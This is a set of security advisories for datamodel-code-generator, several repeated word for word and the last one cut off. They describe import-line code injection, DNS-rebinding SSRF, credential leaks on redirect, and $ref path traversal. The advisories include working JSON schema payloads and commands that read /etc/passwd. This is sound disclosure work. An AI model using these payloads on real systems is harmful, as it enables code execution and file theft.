datamodel-code-generator

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

• src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines:

  @classmethod
  @lru_cache
  def from_full_path(cls, class_path: str) -> Import:
      split_class_path: list[str] = class_path.split(".")
      return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  

• src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim:

  def create_line(self, from_: str | None, imports: set[str]) -> str:
      if from_:
          return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
      return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
  

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

1. x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):

   x_python_import = ref_schema.extras.get("x-python-import")
   if isinstance(x_python_import, dict):
       module = x_python_import.get("module")
       type_name = x_python_import.get("name")
       if module and type_name:
           full_path = f"{module}.{type_name}"
           import_ = Import.from_full_path(full_path)
           self.imports.append(import_)
   

2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator's anti-SSRF guard validates the resolved IP of a fetch target once and then lets httpx perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (169.254.169.254), and other internal services — even with the default allow_private_network=False. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote $ref, or --url).

Details

In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the host via _get_ips_from_host() (socket.getaddrinfo) and rejects non-global addresses:

ips = _get_ips_from_host(host)            # resolution #1 (validation)
if not ips: return
if all(_is_safe_ip(ip) for ip in ips): return
raise SchemaFetchError(...)               # blocks private/link-local/reserved

It then connects with a separate, independent resolution:

response = httpx.get(current_url, ...)    # resolution #2 (connection) -- NOT pinned to #1

Nothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4 It starts a loopback HTTP server standing in for an internal target and patches socket.getaddrinfo to return a public IP on the guard's lookup and 127.0.0.1 on httpx's the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls).

Reachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch http://that-host/schema.json either via --url or via a remote $ref in a supplied schema (remote refs are fetched on the default configuration).

Impact

Server-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs datamodel-code-generator against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (169.254.169.254), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1

Fix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for DNS pinning and URL-fetch regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

• src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines:

  @classmethod
  @lru_cache
  def from_full_path(cls, class_path: str) -> Import:
      split_class_path: list[str] = class_path.split(".")
      return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  

• src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim:

  def create_line(self, from_: str | None, imports: set[str]) -> str:
      if from_:
          return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
      return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
  

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

1. x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):

   x_python_import = ref_schema.extras.get("x-python-import")
   if isinstance(x_python_import, dict):
       module = x_python_import.get("module")
       type_name = x_python_import.get("name")
       if module and type_name:
           full_path = f"{module}.{type_name}"
           import_ = Import.from_full_path(full_path)
           self.imports.append(import_)
   

2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

When datamodel-code-generator fetches a remote schema and follows an HTTP redirect, it re-sends the original request headers, including any Authorization header, to the redirect target even when the redirect changes origin (host/port/scheme). Credentials that an operator scoped to a trusted schema host are therefore forwarded to an attacker-controlled or otherwise different host, leaking them.

Details

In src/datamodel_code_generator/http.py, get_body() follows redirects manually and re-issues each hop with the same headers argument, with no check that the origin is unchanged:

for redirect_count in range(MAX_HTTP_REDIRECTS + 1):
    _validate_url_for_fetch(current_url, allow_private_network=allow_private_network)
    response = httpx.get(current_url, headers=headers, follow_redirects=False, ...)  # same headers every hop
    if (redirect_url := _get_redirect_url(httpx, current_url, response)) is None:
        break
    current_url = redirect_url

Browsers and HTTP clients such as requests/httpx strip Authorization when a redirect crosses origin; here it is preserved unconditionally. Headers are operator-supplied via --http-headers (and credentials can also arrive through --url userinfo), so a redirect from the trusted host to any other host discloses them.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/ade3035d7f2be95e16f11698259cdbc2
Host A (the trusted schema host) 302-redirects to host B (a different origin) which records received headers; the request carries an auth token scoped to A.

(The PoC uses loopback servers; allow_private_network=True is only to avoid the separate SSRF guard blocking loopback and has no bearing on the leak.)

Impact

Exposure of sensitive information to an unauthorized actor (CWE-200). Affects operators who pass authentication headers/credentials to fetch a remote schema (--http-headers, --url with userinfo) when the configured host issues a redirect to a different origin — e.g. a compromised or open-redirect-prone schema host, or a redirect chain influenced by an attacker-supplied $ref. The leaked credential can then be replayed against the trusted host. This is a credential-scoping weakness secondary to, and in the same component as, the project's other SSRF hardening.

Suggested remediation

When a redirect changes the origin (scheme/host/port), drop Authorization and other sensitive headers before following it, matching the behavior of mainstream HTTP clients.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-r5vv-ff45-prp2/pull/1

Fix summary: strip Authorization, Cookie, and Proxy-Authorization headers when a redirect crosses origin; preserve headers for same-origin redirects.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for the redirect regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator resolves JSON-Schema $ref targets that point at the local filesystem without restricting them to the input/base directory and without honoring the remote-reference security control. In the default configuration, an attacker who controls an input schema (a "paste your OpenAPI/JSON-Schema" service, a CI job that generates models from a submitted spec, or any multi-tenant codegen platform) can read any file the process user can read and map the host filesystem. This works via either a file:// absolute URI or a ../-escaped relative reference, and it succeeds even when --no-allow-remote-refs is set.

This is an unauthenticated path-traversal / information-disclosure issue (CWE-22 / CWE-200) plus a bypass of a documented security control.

Details

is_url() classifies file:// as a URL (reference.py:1249):

def is_url(ref: str) -> bool:
    return ref.startswith(("https://", "http://", "file://"))

The remote-ref gate then explicitly exempts file://, so --no-allow-remote-refs never applies to it (parser/jsonschema.py, _get_ref_body):

if is_url(resolved_ref):
    if not resolved_ref.startswith("file://") and self.http_local_ref_path is None:
        if self.allow_remote_refs is False:
            raise Error(...)        # <-- skipped for file://
        ...
    return self._get_ref_body_from_url(resolved_ref)
return self._get_ref_body_from_remote(resolved_ref)

Both local-file branches read the target with no containment check. The file:// branch reads any absolute path:

# _get_ref_body_from_url
if ref.startswith("file://"):
    path = url2pathname(urlparse(ref).path)     # absolute path, anywhere on disk
    return self.remote_object_cache.get_or_put(
        ref, default_factory=lambda _: load_data_from_path(Path(path), self.encoding))

and the plain relative branch lets ../ escape the base directory:

# _get_ref_body_from_remote
full_path = self.base_path / resolved_ref       # no is_relative_to(base_path) check
return self.remote_object_cache.get_or_put(
    str(full_path), default_factory=lambda _: load_data_from_path(full_path, self.encoding))

For contrast, the HTTP-local-ref branch (_get_ref_body_from_local_http_path) does enforce is_relative_to(base_path); these two filesystem branches do not. (This is distinct from the previously reported HTTP $ref/--url SSRF hardened in http.py these code paths never enter http.py.)

The fetched file is read and parsed, yielding two impacts:

1. Arbitrary file read + filesystem oracle (any file). The process opens any readable path, and the three distinguishable outcomes leak filesystem structure: Expected dict, got str/list = the file exists and was read into the process; FileNotFoundError: '<abs path>' = missing; PermissionError: '<abs path>' = exists but unreadable. An attacker uses this to probe arbitrary paths and recover the operator's absolute filesystem layout.

2. Verbatim secret disclosure into the generated code. When the referenced node is JSON-Schema-shaped, values in const/default/enum/description positions are emitted verbatim into the generated Python that is returned to the attacker — i.e. exactly the internal/private schema and config files a codegen host stores (specs with example/default tokens, default credentials, internal hostnames, service-account JSON, k8s secret manifests).

Scope note (to avoid overstating): the raw bytes of unstructured files such as /etc/passwd or a PEM id_rsa are read into the process but are not echoed verbatim into the output, because they parse to a single scalar and are rejected as "not a schema". For those files the impact is the read itself plus the existence/permission/absolute-path oracle; verbatim content disclosure applies to schema-shaped nodes.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/2a87e81f985883acc30d0118c52da4d3 / (poc.py creates everything in a temp dir, runs the generator, asserts read + leak + gate bypass, and cleans up). Minimal manual reproduction of the arbitrary read (any path works):

printf '{"type":"object","properties":{"x":{"$ref":"file:///etc/passwd"}}}' > probe.json
datamodel-codegen --input probe.json --input-file-type jsonschema --output o.py
# -> "TypeError: Expected dict, got str"  == /etc/passwd was opened and fully parsed.
# Swap the $ref for a missing/unreadable path to see the existence/permission oracle.

Impact

Arbitrary local file read / path traversal (CWE-22) → information disclosure (CWE-200), plus bypass of --no-allow-remote-refs. Any application, CI pipeline, or multi-tenant service that runs datamodel-code-generator on an untrusted schema and exposes (returns, logs, commits, renders) the generated code is affected. The attacker can: open and read any file the process user can read (demonstrated: /etc/passwd, a PEM id_rsa, paths under /root/); map the host filesystem and recover absolute paths; and exfiltrate secret values verbatim from any schema-shaped node. Attacker controls only the input schema; no authentication or special privileges required.

Suggested remediation

1. Do not exempt file:// from the allow_remote_refs gate, treat it as an external scheme.
2. In both _get_ref_body_from_url (the file:// case) and _get_ref_body_from_remote, reject targets that are not resolved.is_relative_to(self.base_path), mirroring the existing check in _get_ref_body_from_local_http_path.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.62.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-8359-h9fx-j6v9/pull/1

Fix summary: apply the remote-ref gate to file:// refs and local JSON Schema refs outside the input base path. In 0.62.0, --no-allow-remote-refs blocks these references; the default compatibility mode emits a FutureWarning and users who intentionally rely on trusted external local refs can pass --allow-remote-refs.

Release status: fixed in 0.62.0 for the documented --no-allow-remote-refs bypass, with a compatibility warning for the default behavior.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

datamodel-code-generator's anti-SSRF guard validates the resolved IP of a fetch target once and then lets httpx perform its own independent DNS resolution to connect, so the validated address is never pinned. A hostname that resolves to a public IP at validation time and a private IP at connection time (DNS rebinding) bypasses the guard and reaches loopback, link-local cloud-metadata endpoints (169.254.169.254), and other internal services — even with the default allow_private_network=False. This is a server-side request forgery reachable when the tool fetches an attacker-influenced URL (remote $ref, or --url).

Details

In src/datamodel_code_generator/http.py, get_body() calls _validate_url_for_fetch(), which resolves the host via _get_ips_from_host() (socket.getaddrinfo) and rejects non-global addresses:

ips = _get_ips_from_host(host)            # resolution #1 (validation)
if not ips: return
if all(_is_safe_ip(ip) for ip in ips): return
raise SchemaFetchError(...)               # blocks private/link-local/reserved

It then connects with a separate, independent resolution:

response = httpx.get(current_url, ...)    # resolution #2 (connection) -- NOT pinned to #1

Nothing ties the connection to the IP that passed validation. Between the two resolutions a low-TTL attacker-controlled record can flip from a public address (passes the guard) to a private one (used by the connection). The redirect-handling loop in the same function does correctly re-validate each redirect URL, so this is specifically a TOCTOU/rebinding gap in the host-to-IP check, not a redirect issue.

PoC

Self-contained reproducer: https://gist.github.com/thegr1ffyn/c1d54dd6ff2a4c0d7d0dabe00c4985f4 It starts a loopback HTTP server standing in for an internal target and patches socket.getaddrinfo to return a public IP on the guard's lookup and 127.0.0.1 on httpx's the standard deterministic way to demonstrate this TOCTOU class (the real-world trigger is a low-TTL rebinding DNS record the attacker controls).

Reachability in normal use: the attacker registers a rebinding hostname and gets the tool to fetch http://that-host/schema.json either via --url or via a remote $ref in a supplied schema (remote refs are fetched on the default configuration).

Impact

Server-side request forgery (CWE-918) via a time-of-check/time-of-use resolution gap (CWE-367). Any service or CI pipeline that runs datamodel-code-generator against attacker-influenced URLs is affected, including deployments that rely on the default private-network protection. Consequences include reading cloud instance-metadata credentials (169.254.169.254), reaching internal-only HTTP services, and port/host probing of the internal network, the document fetched from the internal target is also parsed and can be reflected into the generated output.

Maintainer status

Confirmed by maintainer review and regression tests. The private fix PR was merged and released in 0.63.0: https://github.com/koxudaxi/datamodel-code-generator-ghsa-vx7x-vcc2-c44g/pull/1

Fix summary: pin the validated DNS result set during the HTTP fetch so a host cannot resolve to a safe address during validation and a different address during connection.

Release status: fixed in 0.63.0; 0.62.0 and earlier are affected.

Validation: uv run --group test --extra http pytest tests/test_http.py passed locally for DNS pinning and URL-fetch regression coverage; uv run --group fix ruff check src/datamodel_code_generator/http.py tests/test_http.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

• src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines:

  @classmethod
  @lru_cache
  def from_full_path(cls, class_path: str) -> Import:
      split_class_path: list[str] = class_path.split(".")
      return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  

• src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim:

  def create_line(self, from_: str | None, imports: set[str]) -> str:
      if from_:
          return f"from {from_} import {', '.join(self._set_alias(from_, imports))}"
      return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))
  

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

1. x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type):

   x_python_import = ref_schema.extras.get("x-python-import")
   if isinstance(x_python_import, dict):
       module = x_python_import.get("module")
       type_name = x_python_import.get("name")
       if module and type_name:
           full_path = f"{module}.{type_name}"
           import_ = Import.from_full_path(full_path)
           self.imports.append(import_)
   

2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Summary

When datamodel-code-generator fetches a remote schema and follows an HTTP redirect, it re-sends the original request headers, including any Authorization header, to the redirect target even when the redirect changes origin (host/port/scheme). Credentials that an operator scoped to a trusted schema host are therefore forwarded to an attacker-controlled or otherwise different host, leaking them.

Details

In src/datamodel_code_generator/http.py, get_body() follows redirects manually and re-issues each hop with the same headers argument, with no check that the origin is unchanged:

for redirect_count in range(MAX_HTTP_REDIRECTS + 1):
    _validate_url_for_fetch(current_url, allow_private_network=allow_private_network)
    response = httpx.get(current_url, headers=headers, follow_redirects=False, ...)  # same headers every hop
    if (redirect_url := _get_redirect_url(httpx, current_url, response)) is None:
        break
    current_url = redirect_url

Browsers and HTTP clients such as requests/httpx strip Authorization when a redirect crosses origin; here it is preserved unconditionally. Headers are operator-supplied via --http-headers (and credentials can also arrive through --url userinfo), so a redirect from the trusted host to any other host discloses them.

